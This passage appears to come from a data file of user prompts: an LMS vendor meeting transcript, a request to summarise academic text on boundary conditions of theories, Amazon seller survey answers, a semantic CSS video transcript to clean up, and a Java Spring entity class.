an…\n\nNABILA\n\n15:19 I don\'t I… will tell you, I will let you describe the process I need to integrate between the cost of the training course and the finance team who will pay for it after or before attend the training. Do you have any difference between internal and external training in your system?\n\nIntegrations\n\nSILVIA\n\n15:49 Right. We might have different concepts of external training. And this is what I\'m trying to clarify here in the sense that in Docebo, we are content agnostic, you can bring in content from different sources. You can organize glass room sessions, you can bring LinkedIn learning or whichever other provider as well as adding your materials, which was what I was planning to show you today and that is happy opening within LMS.\n\nIntegrations ends\n\nSILVIA\n\n16:23 That is our concept of external training content that\'s coming from the outside of the platform. You bring it in and organize it in the way that you want in your understanding. If I am interpreting this correctly, is what you\'re looking for is training that is happening outside of the platform. I don\'t know in the classroom with a trainer or something that the users see some place else that\'s not in the LMS. Is that correct?\n\nPETER\n\n16:51 See, let me jump in.\n\nNABILA\n\n16:53 Jump in.\n\nPETER\n\n16:54 Let me jump in here in.\n\nNABILA\n\n16:57 Okay.\n\nPETER\n\n16:57 Now, I hear the echo here as well. Is the…\n\nFEDERICO\n\n17:03 Yeah, it happens only when Nabil has got a micro.\n\nANDREW\n\n17:07 Okay. So.\n\nPETER\n\n17:08 Nabil, you obviously have to sources that are connected.\n\nFEDERICO\n\n17:11 No, it\'s okay. Because she\'s muted.\n\nPETER\n\n17:15 All right. Okay. This discussion about budget and prices has nothing to do on the cover of an LMS… in general. If I want to roll out as an employee of a, I can apply. And then as you described, it has to be approved by the manager or by the business unit that they have to be aware of the budget that is allocated for that training… over the year. And they can say, yes, this specific person should take the training and they can improve by click as you described.' +'Summarize this: As before, we assume an uncertain initial understanding of the BC associated with a theory (i.e.,\nperceived certainty regarding some within-range and some out-of-range contexts and uncertainty in\nbetween), as exemplarily depicted in Figure 2. We distinguish four approaches that explore BC\nfurther, contingent on the different starting points A, B, C, and D in Figure 2. Scholars can apply an\n‘‘inside-out exploration of BC’’ (see Figure 2, point A), an ‘‘outside-in exploration of BC’’ (see\nFigure 2, point B), an ‘‘exploration of BC under uncertainty’’ (see Figure 2, point C), and an\n(unplanned, emergent) ‘‘serendipitous BC exploration’’ (see Figure 2, point D). All of these\napproaches are further detailed and juxtaposed in Table 3.\nThe inside-out exploration approach considers BC from a theoretical perspective concerned with\nthe further development of the respective theory. Its goal is to explore BC as the ‘‘final phase’’ of\ntheory development, in the sense of developing an answer to the when question (Whetten, 1989). Its\ndenomination stems from the perspective of scholars who investigate the further applicability of a\ntheory in slightly different contextual conditions, departing from ‘‘known territory’’ (i.e., knowing\nthat context A is still within the range of the theory) outward to unknown territory. Thereby, scholars\nwho use the inside-out exploration are aware of the fact that the unknown territory is unknown (it is\nhence a ‘‘known unknown’’). The exploration of BC can occur as a conscious decision or can be\ntriggered by perplexity. Vis-a`-vis the other three BC-exploring approaches, the research process can\nbe characterized as a so-called tame problem (Rittel & Webber, 1973).6 This means that there is an\nexplicit problem statement (i.e., willingness to further explore BC) preceding the solution of the\nproblem and that the research process can be managed and organized as a project with clearly\ndefined phases (e.g., as a large-scale empirical investigation) and outcomes (i.e., a better under\ufffestanding of BC in the contexts adjacent to point A in Figure 2). For example, Kopelman and\nThompson (1976) purposefully sought to strengthen the cross-context applicability of expectancy\ntheory by exploring five moderator variables. Among the articles that explicitly refer to BC, the\ninside-out exploration approach seems to be the most widely applied (see Table 1).\nThe outside-in approach addresses BC exploration in the opposite manner to its conceptual\nsibling (the inside-out approach) by first focusing on a context in which the theory is clearly not\napplicable (see point B in Figure 2). The perspective of the outside-in approach is also theoretical in\nnature, and its goal is also to further explore BC. However, often another goal exists that is the\ndevelopment of new theory specific to context B (and its contextual vicinity) (see the examples in\nTable 1). Scholars who pursue this approach are aware of the lacking applicability of the theory in\nthe context to be explored. Therefore, they will refrain from falsely assuming applicability of the\nrelated literature in their own context. For example, Ketokivi and Jokinen (2006) sought to under\ufffestand why some factories opted to be unfocused in their production processes even when the extant\nliterature suggested that focused manufacturing strategies are most effective. The trigger mechanism\ncommencing the exploration of BC through this approach is best portrayed as ‘‘pursuing failure’’\n(Gray & Cooper, 2010), that is, a conscious decision to learn from the misfit between the theory and the context of interest. The research process can be characterized as a somewhat tame problem. It is\nmore wicked (Rittel & Webber, 1973) than the inside-out approach because new theory must be\ncreated, meaning that the problem statement is less clear and the research project does not follow a\nfully straightforward plan but more likely involves some feedback loops and iterations. The outside\ufffein approach is used fairly often and has facilitated some very impactful contributions (see Table 1).\nThe other two approaches are fundamentally different in that they are not directly concerned with\nexploring the BC of the respective theory. Rather, they follow different goals and borrow from the\nrespective theory (consciously or unconsciously). Theory is borrowed frequently in organizational\nresearch. For example, constructs are adopted (Suddaby, 2010), and specific findings of a theory are\nincorporated into the theorizing process elsewhere (Corley & Gioia, 2011). Our BC analysis high\ufffelights that such theory borrowing is only valid if the context to which the theory is borrowed falls\ninto its range. Contrarily, if the context falls outside the range of the theory, borrowing it would not\nbe valid. Given the frequent uncertainty surrounding a theory’s BC, scholars who consider borrow\ufffeing theory often have to deal with unexplored BC. It appears that this issue has become more\npressing over the past decades because of an increased emphasis on middle-range (i.e., relatively\nmore context-specific7\n) theorizing (Corley & Gioia, 2011; Merton, 1968; Pinder & Moore, 1979).\nSince we are unaware of any methodological research addressing this widespread problem, we will\nanalyze it in considerable detail, also drawing on two empirical illustrations. The approach labeled\nexploration of BC under uncertainty concerns theory borrowing when scholars are aware of the\nunclear range of the theory that they consider borrowing (i.e., it is a known unknown), whereas the\napproach denominated serendipitous BC exploration refers to cases where theory is borrowed\nwithout considering the BC issue (i.e., it is an unknown unknown).\nRegarding the exploration of BC under uncertainty, we assume that scholars adopt a ‘‘contex\ufffetual’’ perspective in that they have a particular interest in an empirical context (see point C in Figure\n2). The goal is to establish some form of deep understanding of the respective context (e.g., by means\nof developing middle-range theory pertaining to this context). The role of theory with uncertain BC is auxiliary only, that is, scholars want to borrow it but are uncertain if doing so is valid. We may\nassume that the exploration of its BC is a necessary task for reaching the goal; if it were different, the\nrespective theory would presumably be dropped. As our later empirical illustration will show, this\ntype of setup depicts a somewhat wicked research problem. The reason is that reliance on the\nrespective literature seems necessary, yet it can never be fully trusted. Literature pertaining to the\ntheory can only be considered in a trial-and-error mode. If all goes well, this approach results in a\nbetter understanding of context C and of the theory’s BC in the vicinity of this context. One of the\nempirical examples will illustrate this approach.\nThe final BC-exploring ‘‘approach’’ is serendipitous BC exploration. Here, we refer to cases in\nwhich scholars borrow theory with uncertain BC without considering the fact that their own context\nmay not fall into the theory’s range; thereby, they may end up exploring BC more or less by chance.\nIn other words, no initial positioning of the respective context vis-a`-vis the theory occurs (as a visual\nillustration, the respective point D in Figure 2 is not positioned within the chart but outside of it).\nInitially, literature sources on the respective theory are hence relied on naı¨vely such that its findings\nare assumed to be true irrespective of context. If the respective context lies within the range of the\ntheory (from an omniscient evaluator’s certain view on BC), then the scholars’ unawareness to BC\uffferelated issues will not have any impact, leading to valid research outcomes (whatever they are) in\nabsence of other methodological issues. The BC of the borrowed theory will hence not be explored.\nIf the respective context, however, lies outside of the theory’s range, then two things can happen:\nFirst, the investigation may end up in a dead end. Then, scholars will presumably ‘‘turn the entire\nresearch process upside down,’’ looking for anything that may have gone wrong, thereby possibly\ndirecting their attention to BC-related issues. If so, then they will explore the respective BC out of\nnecessity (same as in the previous approach). Needless to say, such a research process depicts a\nwicked problem. The outcome would then be a valid result for the originally aspired goal plus a\nclearer understanding of the BC in the vicinity of the respective context. Second, scholars may never\nnotice the inherent flaw stemming from the fact that they built on theory in an invalid (i.e., out-of\uffferange) manner. They would hence pursue as planned throughout the research process (which would\nfalsely be treated as a tame problem) and reach a result that is not (fully) valid. One of the empirical\nexamples will illustrate a situation in which we, thankfully, ended up in a dead end, thereby\ntriggering the serendipitous exploration of BC of a construct that we employed.\nIn the previous paragraph, we used the word approach with quotation marks when referring to\nserendipitous BC exploration. The reason is that this ‘‘approach’’ only happens to explore BC as an\neffect (if all goes well) but never aims for BC exploration. Scholars should consider the BC of,\nideally, all theory that they borrow. Hence, methodologists could be tempted to dismiss unawareness\nof the BC of borrowed theory on prescriptive grounds. However, since virtually no construct, causal\nrelationship, or entire theory has its BC clearly established (as per the uncertain view), we conjecture\nthat unawareness of unclear BC will often just happen in research practice as a descriptive fact.\nMoreover, given the multidimensionality of context and BC, it seems to us that no strategy can exist\nthat avoids the unawareness issue fully and certainly. By considering and illustrating this\n‘‘approach,’’ we aim to (a) sensitize researchers to at least consider the BC of the theory that they\nbuild on ex ante (thereby trying to avoid position D in Figure 2) and (b) suggest the ex post\nconsideration of BC as a ‘‘toolkit’’ for situations in which a rigorous investigation has suddenly\nended up in a dead end.' +'From PL to creating a cool listing for a properly configured ad.\n\n---\n\nI really don\'t want to go through all the "childish" questions with my budget. This demotivates me enough. Otherwise, I don\'t see any problems, I\'m going all the way.\n\n---\n\nPoor self-management and procrastination.\n\n---\n\nA bad beginning makes a bad ending. I don\'t see any difficulties.\n\n---\n\nNothing difficult, there are some hiccups, such as the electricity in Ukraine, changes in the usual way of life (I have been living in Ukraine for a year because of the war, but 900km away from home), sometimes there is a lack of motivation to work due to this situation. And two small children, I\'m a mom on maternity leave, which I have never been before.\n\n---\n\nOvercoming internal fear and doubt: what if it doesn\'t work out? What if there aren\'t enough resources? and many other "what ifs."\n\n---\n\nLack of understanding and clear procedures on how to choose a product.\n\n---\n\nFind a niche and a good product.\n\n---\n\nFind a niche and a good product.\n\n---\n\nLack of time, lack of confidence in achieving great results.\n\n---\n\nDelegation.\n\n---\n\nProduct research and adding value to the product.\n\n---\n\nI just want to start.\n\n---\n\nThe hardest part is finding a product. Since I\'m a beginner on Amazon, I have no idea where to look. There are several products, but they are in highly competitive niches. On the other hand, I know that I need to improve these products. In general, it\'s difficult to get started.\n\n---\n\nGreat product, competition, and getting to the top.\n\n---\n\nFind the right product.\n\n---\n\nRealize my dream, or rather believe in myself that I can! Find and feel the momentum. I think my difficulty is that I won\'t be able to figure it out and reach my desired goal.\n\n---\n\nScaling.\n\n---\n\nBeing in the beginning, it\'s hard for me to balance my main job with the time of searching for a product and creating a successful business on Amazon.\n\n---\n\nLanguage, I don\'t know English.\n\n---\n\nThe first thing is to believe in it, the second is that since there is no experience and practice, all subsequent steps, such as registration, product selection, making it the best, and so on.\n\n---\n\nI\'m a perfectionist. If everything is not organized in my head, I won\'t "jump into action." The hardest thing for me is not to burn out, to overcome all the scale of absolutely new information, and not to deviate halfway.\n\n---\n\nTo start.\n\n---\n\nDetails.\n\n---\n\n1. Find and improve a successful product. 2. Creating this product. 3. Legal difficulties with my passport (opening foreign accounts, etc.)\n\n---\n\nI live in LA, and life here is very expensive, so I need to work more than 9 hours. But since the training starts at 7:00 am our time, I can work on my business all morning. And I hope that after the training, when I have additional income, I will have enough time to expand my business. Well, it was difficult for me to find the right information...\n\n---\n\nKeep up the pace (turnover/sales/prioritizing tasks) and further growth.\n\n---\n\nLack of budget for making mistakes.\n\n---\n\nLack of knowledge and starting capital.\n\n---\n\nChoosing the right product.\n\n---\n\nChoosing a product to sell.\n\n---\n\nChoosing a product.\n\n---\n\nFind a product.\n\n---\n\nResearch, keyword work, PPC, review collection.\n\n---\n\nFind the right product.\n\n---\n\nFor me, as a beginner seller, almost all questions and tricks are relevant: successful product selection, account registration, branding, supplier selection, product shipping to Amazon, listing, advertising, sales, to avoid mistakes (not wasting time and money) and successfully launch a profitable business on Amazon with $10K - $100K net profit per month.\n\n---\n\nFor me, as a beginner seller, all questions are relevant: successful product selection, account registration, branding, supplier selection, product shipping to Amazon, listing, advertising, sales, to successfully launch a profitable business on Amazon (without wasting time and money) with a minimum net profit of $10K - $100K per month.\n\n---\n\nFind a cool product.\n\n---\n\nThe hardest part is not to break down and quit everything when something goes wrong. Constantly learn, develop, and implement new tools.\n\n---\n\nChoosing the right product.\n\n---\n\nFinding the right product.\n\n---\n\nAchieving the result, the niche is saturated with competitors, new products need to be constantly launched.\n\n---\n\nAvailability of time and free investments.\n\n---\n\nChoose the right niche.\n\n---\n\nPsychological attitude and product selection.\n\n---\n\nTaking a risk with money.\n\nLaunching the first product from scratch and completing the process in the shortest possible time. In the process, you come across things that you\'ve never done before, which seem difficult, leading to constant internal resistance.\n\n---\n\nToday we registered an account on Amazon, created a company, and selected a product. And I felt fear. Fear that I made a mistake with the product, that something might not work out. We have determination and won\'t stop. I\'ll be scared, but I\'ll do it. I don\'t yet understand the reason for the fear and what\'s behind it.\n\n---\n\nLack of confidence in my abilities and past failures. The Amazon topic is completely new to me. I want to do every item and every step right. There are no "extra" finances for "testing."\n\n---\n\nI\'m not confident in myself (in terms of knowledge or lack thereof), I don\'t have support nearby, and in most cases, I always share my plans (ideas). This time, I\'m so afraid that someone might sow seeds of disbelief in me that I don\'t even tell anyone about my plans regarding Amazon.\n\n---\n\nChoosing the right product.\n\n---\n\nNot giving up when faced with difficulties. It seems like all niches are taken, and potential competitors have hundreds or thousands of reviews, leaving no room for me. I understand that launching and ramping up will take a lot of time, and in the end, failure is possible. The long time span from the start of product development to understanding whether the product works or not scares me and makes me feel discouraged. It becomes regretful to spend time that may not bring anything other than expenses.\n\n---\n\nThe first negative experience of working on Amazon. I wanted to go through normal and the best training for me at Seller Insiders, and I joined the program through a partnership. Thank you. I hoped that my husband would help and give money for promotion, but something happened, and he was deceived. Now I have to earn money on my own because there\'s no possibility of waiting. Your course is very useful, and I learned a lot about creating my own brand and logo. At the moment, my Amazon isn\'t moving because there\'s no money to start with. That\'s why I want to start another business that\'s faster and come back to Amazon. I\'m thinking of developing my brand in three directions. The first is growing microgreens, which brings in quick money and is a nice bonus to give people health (relevant after COVID). I haven\'t checked it yet, but this direction might be my entry into Amazon because starting a microgreen farm requires a lot of equipment to purchase. Of course, I will do this with Chinese suppliers, as you taught us.\n\n---\n\nHaving financial difficulties, in my case, it would be great to get an extension or access to the second level of your coaching if possible. The only small inconvenience is that it\'s 7 am, and everyone is getting ready for work and school, but thank you for making recordings.\n\n---\n\nI think the reason for achieving such results is that I don\'t have enough experience in finding good products and starting an online business.\n\n---\n\n1. Focusing on one thing, determination. 2) Doubts in selecting a team of specialists for rapid development ("personnel solve everything"). 3) Lack of confidence in my competitiveness in e-commerce.\n\n---\n\nWe\'re waiting for the product, and the thought of what if it doesn\'t sell scares us a bit. Therefore, we ask you to focus on the following points: 1. What steps need to be taken to get the first sales. 2. How to collaborate with a Tik Tok blogger. How to make the link correctly so that Amazon understands everything correctly. How to take into account these transitions to understand the conversion from this event. 3. Is it worth driving traffic from FB or Inst at the start of sales? 4. How to set up PPC advertising is covered in the training, so it would be interesting to have periodic reviews of advertising campaigns. 5. Should we use robots that track competitor bids and adjust ours accordingly? What robots do you recommend?\n\n---\n\nChoosing a product with which you can make such and larger amounts.\n\n---\n\nStarting and understanding the business.\n\n---\n\nFinding a product.\n\n---\n\nMy biggest question right now is how to balance my child and Amazon. I\'m already working on this with Irina during our personal sessions, but I\'m progressing very slowly because there\'s no help yet. I\'m sorry that I can\'t get the maximum from coaching because my speed is very slow, but I\'m still grateful for everything and crawling toward my goal. If you can organize a webinar on life balance and time management, I\'m sure I\'ll take something useful from there.\n\n---\n\nStrong distractibility, for some reason, it\'s hard to concentrate, as if there\'s a blocker, plus I want to do everything well, which will result in significant expenses, hence the fear of making a mistake.\n\n---\n\n---\n\nFor me, the hardest part is to convince myself that in 2023, there are still many opportunities to launch my product on Amazon, and z\n\nAssistant, please do not reply to anything yet to me, only reply to me with "READ"' +"this is an audio transcript of a video, it includes timestamps in the format of [0:00], please rewrite the text removing the timestamps and correcting any transcription errors, ensure that you rewrite the entire transcript:\n\n[0:00] we talk a lot about semantic HTML but[0:03] what about semantic CSS they're coming[0:05] up with good class names in CSS is[0:07] always a bit of a struggle it's maybe[0:09] one of the more infuriating things which[0:11] is why we have so many different naming[0:12] conventions and different approaches to[0:14] authoring CSS especially when it comes[0:16] to organization and dealing with[0:18] selectors so we can attempt to give[0:20] things meaning with names but of course[0:22] the class name doesn't have any real[0:24] meaning it's easy to get them wrong and[0:26] well of course things like this would[0:28] work just as well if you were to take[0:29] inspiration from my son and use a class[0:31] like big butt[0:37] wait no no[0:49] that's probably not the best idea in the[0:51] world and people might be a little bit[0:53] confused if they're working on that code[0:54] base and come along the your big butt[0:56] class there but of course if that class[0:58] was in your HTML that selector would[1:00] work perfectly fine but if somebody were[1:02] to randomly come across it they'd really[1:04] have no idea what you were actually[1:05] wanting to do with it and that's very[1:08] different from what we have with HTML[1:10] where we have things like our nav our[1:12] header or footer or aside we have[1:13] figures we have all sorts of things that[1:16] have actual meaning to them and even[1:18] sometimes getting those right or using[1:19] them in the right way can has a little[1:21] bit of wiggle room but for the most part[1:23] it really makes our lives a lot easier[1:25] now the semantics of those elements help[1:27] convey actual meaning to the browser and[1:29] assistive Technologies as well but it[1:31] also makes it easy for developers to be[1:33] a bit more consistent and know how[1:35] things are being used so with all of[1:36] that how can we take that idea of[1:38] semantics from HTML and use them in CSS[1:41] without having to go down the route of[1:43] only selecting things like our nav or[1:45] header or footer with element selectors[1:47] so to figure that out we're going to[1:48] jump into this example that I have up[1:50] right now and this was heavily inspired[1:52] by an article that Ben Myers recently[1:54] put out so I will be linking to that in[1:55] the description I'd strongly recommend[1:57] giving it a read and I'll also have some[1:59] other good links down in the description[2:01] related to this topic that helped me put[2:03] this video together so the idea here is[2:06] this is quite a common thing that you[2:08] might see we have a current page like[2:10] this one so we have you know a regular[2:12] navigation set up with our semantic HTML[2:14] but then we have this current page here[2:16] and then of course it highlights the[2:18] page we're on so we just you know when[2:20] you go through all your different pages[2:21] you know if I'm on my about page I'm[2:23] just moving that down to there then I'm[2:24] moving that down to there and maybe[2:26] you're using some sort of dynamic system[2:28] to be able to do this with however[2:29] you're authoring you know depends on[2:31] your Tech stack and all of that but[2:32] we're highlighting the current page and[2:34] if we come back to the Styles here I've[2:36] just done this where I'm my nav link[2:38] that has a current page I've given it a[2:40] background color we're not doing[2:41] anything fancy here there's other ways[2:43] of doing this but a nice simple setup we[2:45] have a hover color for the regular one[2:47] and then we have this one one that has[2:49] the darker color and I've boosted[2:50] specificity on it to make sure that it's[2:52] working so if I hover on top of that one[2:54] we don't get the color changing nothing[2:56] too fancy but the one problem here is if[2:58] we come back to here we we've used our[3:00] nav here we've used a list here we're[3:01] using semantic elements but we're not[3:04] actually using anything semantic to link[3:06] into we're not we're not giving any[3:08] extra context to what the current page[3:10] is even though there is a way to do that[3:12] and the way to do that is an area[3:14] current equals page and by doing that[3:18] we're helping assistive Technologies get[3:20] the same hint that this is doing[3:22] visually on the page right here so right[3:25] away that's a good start but now I'm I[3:28] have this here and then I have the[3:30] current page here and that means if I go[3:33] and that you know I want to do my about[3:34] page now well that means I need to move[3:36] this thing here over down to here and[3:39] then I also need to remove this from[3:41] that link here and I do move that down[3:43] to the link here and there's a lot that[3:45] could potentially go wrong in having to[3:48] you know it's extra maintenance for[3:50] nothing it's kind of annoying on that[3:51] front and this is just some random class[3:54] that I've assigned to here this could[3:56] have been big butt like we mentioned[3:57] before and I could have it do the exact[3:59] same thing whereas this actually carries[4:01] meaning to it so if this actually[4:04] carries meaning to it and this is[4:05] actually saying this is the current page[4:07] that we're on right now well I could[4:09] hook into that with CSS so instead of[4:12] doing nav link current page like this I[4:14] could take this let's turn this into an[4:16] attribute selector by putting some[4:17] square brackets around it let's delete[4:19] what's in there and put in my area[4:21] current is equal to page[4:25] and hit save on that and now you can see[4:28] that it's still working and if we come[4:29] back to here and we delete this current[4:31] page from here and hit save[4:34] everything is still working perfectly[4:35] fine and what we've done here is[4:37] actually create a semantic CSS selector[4:39] we're using the semantics that we had in[4:41] our HTML without you know you could[4:43] select a nav a UL things like that but[4:45] we're linking into another level of[4:47] semantics and we're bringing that in[4:49] here to help style our page and that[4:52] means that things have to be done[4:53] properly from accessibility standpoint[4:55] to be able to style things so we're sort[4:57] of enforcing accessibility by doing this[5:00] as well because now if I go to my about[5:01] page it's broken because my about page[5:04] had it the old way[5:06] and I did this the old-fashioned way[5:08] with just some regular old C HTML on[5:11] every page so of course then this would[5:13] have to be removed and we do an area[5:15] current is equal to page right here and[5:18] now that's fixed and we have this[5:20] working across our pages and to be able[5:22] to do something like this requires[5:24] literally the exact same amount of work[5:27] as it would have required before the[5:29] only difference is it's a few extra[5:30] characters but the advantage is we're[5:32] bringing in[5:33] the accessibility component of it here[5:36] and we're just hooking into that with[5:38] our style sheet and how we're doing our[5:40] CSS right here to look at more examples[5:42] of types of things you can do with this[5:44] one I've looked at many times before is[5:46] using things like area expanded on[5:48] buttons for styling things like a[5:50] navigation whether it's opened or closed[5:52] so if we take a look at this when you're[5:55] doing it I have my button that's right[5:58] here we have an area expanded a false on[6:00] there and when it opens that gets[6:02] switched over to true so the JavaScript[6:04] is switching that back and forth between[6:06] the two of them but that means I can[6:08] hook in and I can style things from the[6:10] menu being open and what the menu looks[6:12] like to how my button is created and[6:15] everything using those selectors right[6:17] there another example could be down here[6:20] if you have a tabs system like this[6:22] where we can switch between different[6:24] tabs I could have everything controlled[6:27] through my area roles here that I'm[6:29] using for my tab list and things like[6:31] this that we should be setting up if[6:33] we're doing things this way so my tab[6:35] list is being set up through the role[6:37] I'm not coming up with a class and[6:38] having the role on there each tab is[6:41] being styled through that my tab panel[6:43] area selected is all coming together[6:46] here so when it's selected I'm changing[6:48] the style of it as I'm coming through on[6:50] those and if you're new to things like[6:52] this and you're not sure about them[6:53] anytime you're looking something up it's[6:55] very easy to do a nice quick search for[6:57] example let's say you need to make us an[6:59] on off switch for something you can just[7:01] do one for a11y switch and you can see I[7:04] was looking that up recently which is[7:06] why it's top of mind and you'll see lots[7:08] of different things that come up on it[7:09] and you can do some further reading on[7:11] it where a lot of the time they give you[7:13] code examples of what things are going[7:15] to look like including things like roles[7:18] that you might need to include so we[7:19] have the role of switch that are coming[7:21] on a few of these you'll see there's no[7:23] area anything but we do have the role of[7:24] switch there's other things that do come[7:26] up with these types of elements when[7:28] we're trying to make interactive[7:29] elements as accessible as possible and[7:31] that helps us hook into those with our[7:33] CSS and it helps us make our CSS[7:36] semantic as well and often the general[7:38] rule of area is don't use area if you[7:40] don't have to so just using your nav[7:42] your head or your footer things like[7:43] that are the right thing to do but as[7:45] soon as you are getting into more[7:46] complex things there are usually things[7:49] that you need to take into account and[7:51] it is really advantageous because it[7:53] makes it a lot easier to hook into[7:54] because an area selected true is nice[7:57] and you know you're not stuck thinking[7:59] do I need a tab tab opened or something[8:02] or is it opened or do I give this active[8:05] like what name do I give it you don't[8:06] have the whole worrying about how you[8:08] name things goes out the window it's[8:10] already handled for us we're good to go[8:11] and if you enjoyed this video and it[8:13] gave you a few thoughts I'd really[8:15] recommend checking out the articles that[8:16] you can see in the description that go[8:18] into a lot more detail and on a few of[8:20] the different patterns that you're[8:21] seeing here and if you're looking for[8:22] more video content I have looked at[8:24] another excessive ability issue that is[8:26] I see coming up all the time which is[8:28] the misuse of heading levels in putting[8:30] together websites and apps so if you're[8:32] curious about that that video is right[8:34] here for your viewing pleasure and with[8:35] that I would really like to thank my[8:37] enablers of awesome Jen Johnny Michael[8:39] Patrick Simon and Tim as well as all my[8:41] other patrons for their monthly support[8:42] and of course until next time don't[8:44] forget to make your corn on the internet[8:45] just a little bit more awesome" +'Sample project Rest API. \n\nWrite the above accordingly. \n\n @GetMapping("/partMatrix/generators")\n public ResponseEntity> getAllPartMatrixGenerators() {\n List list = generatorService.findAllPartMatrixGenerators();\n return new ResponseEntity>(list, HttpStatus.OK);\n }\n\n public List findAllPartMatrixGenerators() {\n return generatorRepository.findAllPartMatrixGenerators();\n }\n\n @SuppressWarnings("unchecked")\n public List findAllPartMatrixGenerators() {\n return (List)entityManager.createQuery(\n "FROM Generator " +\n "WHERE lower(partFeatureMatrixFlag) = \'y\' " +\n "AND lower(status) = \'active\' " +\n "ORDER BY generatorId")\n .getResultList();\n }\n\npackage com.mentor.authex.dbmodel;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport javax.persistence.CascadeType;\nimport javax.persistence.CollectionTable;\nimport javax.persistence.Column;\nimport javax.persistence.ElementCollection;\nimport javax.persistence.Entity;\nimport javax.persistence.FetchType;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.JoinColumn;\nimport javax.persistence.JoinTable;\nimport javax.persistence.ManyToMany;\nimport javax.persistence.OneToMany;\nimport javax.persistence.OneToOne;\nimport javax.persistence.SequenceGenerator;\nimport javax.persistence.Table;\n\nimport org.hibernate.annotations.Fetch;\nimport org.hibernate.annotations.FetchMode;\nimport org.hibernate.annotations.NotFound;\nimport org.hibernate.annotations.NotFoundAction;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Lazy;\n\nimport com.fasterxml.jackson.annotation.JsonIdentityInfo;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonInclude.Include;\nimport com.fasterxml.jackson.annotation.ObjectIdGenerators;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport lombok.ToString;\n@ToString\n@Getter\n@Setter\n@Lazy\n@Entity\n@JsonIgnoreProperties({ "hibernateLazyInitializer", "handler" })\n@JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = "generatorId")\n@Table(name="LC\\_ATHX\\_GENERATOR")\n@JsonInclude(Include.NON\\_NULL)\npublic class Generator {\n final static Logger log = LoggerFactory.getLogger(Generator.class);\n\n @Id\n @SequenceGenerator(name="ATHX\\_GENERATOR\\_SEQ",sequenceName="ATHX\\_GENERATOR\\_SEQ", allocationSize = 1)\n @GeneratedValue(strategy=GenerationType.SEQUENCE, generator="ATHX\\_GENERATOR\\_SEQ")\n @Column(name = "GENERATOR\\_ID", nullable=false)\n private Long generatorId;\n\n @Column(name = "GENERATOR\\_DETAILS\\_ID", nullable=false, insertable=false, updatable=false)\n private Long generatorDetailsId;\n\n @Column(name = "NAME", nullable=false)\n private String name;\n\n //@Column(name = "ACTIVE\\_FLAG", nullable=false)\n //private String activeFlag;\n\n @Column(name = "STATUS", nullable=false)\n private String status;\n\n @Column(name = "GENERATOR\\_DESCRIPTION", nullable=false)\n private String generatorDescription;\n\n// @Deprecated\n// @Column(name = "EBASE\\_GENERATOR\\_NAME", nullable=false)\n// private String ebaseGeneratorName;\n \n @Column(name = "GENERATOR\\_TYPE", nullable=false)\n private String generatorType;\n \n //@Column(name = "AUTHEX\\_GENERATOR\\_TYPE", nullable=false)\n //private String authexGeneratorType;\n\n @Column(name = "PART\\_FEATURE\\_MATRIX\\_FLAG")\n private String partFeatureMatrixFlag;\n\n @Column(name = "DAEMON", nullable=true)\n private String daemon;\n\n @Column(name = "DEFAULT\\_SERVER\\_PORT", nullable=true)\n private String defaultServerPort;\n\n @Column(name = "SUPERSEDE\\_FLAG", nullable=true)\n private char supersedeFlag = \'N\';\n\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_SUPERSEDE",\n joinColumns = @JoinColumn(name = "GENERATOR\\_ID"),\n inverseJoinColumns = @JoinColumn(name = "ATTRIBUTE\\_ID"))\n private Set supersedeGroupBy = new HashSet<>();\n\n @Column(name = "GENERATOR\\_ALIAS\\_NAMES")\n private String gneratorAliasNames;\n\n @Column(name = "NOTES")\n private String notes;\n\n /\\*\\*\n \\* Retrieves the related FeatureVersions.\n \\* This is a 1:M Bidirectional relationship.\n \\*\n \\*/\n @OneToMany(mappedBy="generator")\n @JsonIgnore\n private List featureVersions;\n\n /\\*\\*\n \\* Retrieves the related FlexPrefixLookup objects.\n \\* This is a M:N Bidirectional relationship.\n \\*\n \\*/\n @ManyToMany\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_FP\\_LOOKUP", joinColumns = {@JoinColumn(name = "GENERATOR\\_ID") }, inverseJoinColumns = { @JoinColumn(name = "HOSTID\\_TYPE")})\n @JsonIgnore\n private List flexPrefixes;\n\n /\\*\\*\n \\* Retrieves the related LicenseType objects.\n \\* This is a M:N Bidirectional relationship.\n \\*\n \\*/\n @ManyToMany\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_LICENSE\\_TYPE", joinColumns = {@JoinColumn(name = "GENERATOR\\_ID") }, inverseJoinColumns = { @JoinColumn(name = "LICENSE\\_TYPE\\_ID")})\n private List licenseTypes;\n\n \n //======= Input license file =======\n @Column(name = "INPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", nullable=true, insertable=false, updatable=false)\n private Long inputLicenseFileTypeId;\n\n //Owner of the one-to-one relationship\n @OneToOne(fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "INPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", referencedColumnName = "LICENSE\\_FILE\\_TYPE\\_ID")\n @Fetch(FetchMode.SELECT)\n //@NotFound(action=NotFoundAction.IGNORE)\n private LicenseFileType inputLicenseFileType;\n\n //======= Output license file =======\n @Column(name = "OUTPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", nullable=true, insertable=false, updatable=false)\n private Long outputLicenseFileTypeId;\n\n @OneToOne(fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "OUTPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", referencedColumnName = "LICENSE\\_FILE\\_TYPE\\_ID")\n @Fetch(FetchMode.SELECT)\n //@NotFound(action=NotFoundAction.IGNORE)\n private LicenseFileType outputLicenseFileType;\n\n /\\*\\*\n \\* 